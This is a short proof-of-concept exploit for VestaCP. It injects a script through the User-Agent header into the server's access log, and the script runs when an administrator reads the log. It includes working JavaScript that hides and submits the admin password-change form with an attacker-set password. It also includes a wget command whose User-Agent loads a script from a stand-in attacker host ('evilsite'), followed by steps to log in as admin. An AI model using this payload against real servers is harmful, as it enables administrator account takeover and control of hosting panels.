We can use user-agent information to attack website like this.

First of all we change our user-agent and add some dangerous javascript code ( XSS etc. )

and then we request to one of the website on target server then it is saved on access.log by server

so when Administrator reads it the javascript code works that we added our user-agent information.

 

Poc Exploit

================

1.Prepare evil js file

 

function csrfWithToken(url,hanimisToken,password){

    $.get(url, function(gelen) {

        $('body').append($(gelen));

        $('form[id="vstobjects"]').css("display","none");

        var token = $(hanimisToken).attr("token");

        $('form[id="vstobjects"]').attr("action",url);

        $('input[name="v_password"]').val(password);   

        $('form[id="vstobjects"]').submit();       

    });

};

//password = 1234567

csrfWithToken("/edit/user/?user=admin","#token","123456");

 

2. Make a Get request with evil user-agent to victim server

  

wget --header="Accept: text/html" --user-agent="<script src='http://evilsite/evil.js'></script>" http://victimserver

  

3. We wait Administrator to read access.log that injected our evil.js

4. We log-in VestaCP via password we changed

http(s)://victim:8083/
